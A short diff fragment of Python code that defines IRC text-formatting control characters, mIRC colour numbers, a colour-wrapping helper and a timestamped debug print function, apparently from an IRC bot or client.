+italic      = '\x1D'
+underline   = '\x1F'
+reverse     = '\x16'
+reset       = '\x0f'
+white       = '00'
+black       = '01'
+blue        = '02'
+green       = '03'
+red         = '04'
+brown       = '05'
+purple      = '06'
+orange      = '07'
+yellow      = '08'
+light_green = '09'
+cyan        = '10'
+light_cyan  = '11'
+light_blue  = '12'
+pink        = '13'
+grey        = '14'
+light_grey  = '15'
+
+def color(msg, foreground, background=None):
+	return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}'
+
+def debug(msg):
+	print(f'{get_time()} | [~] - {msg}')
+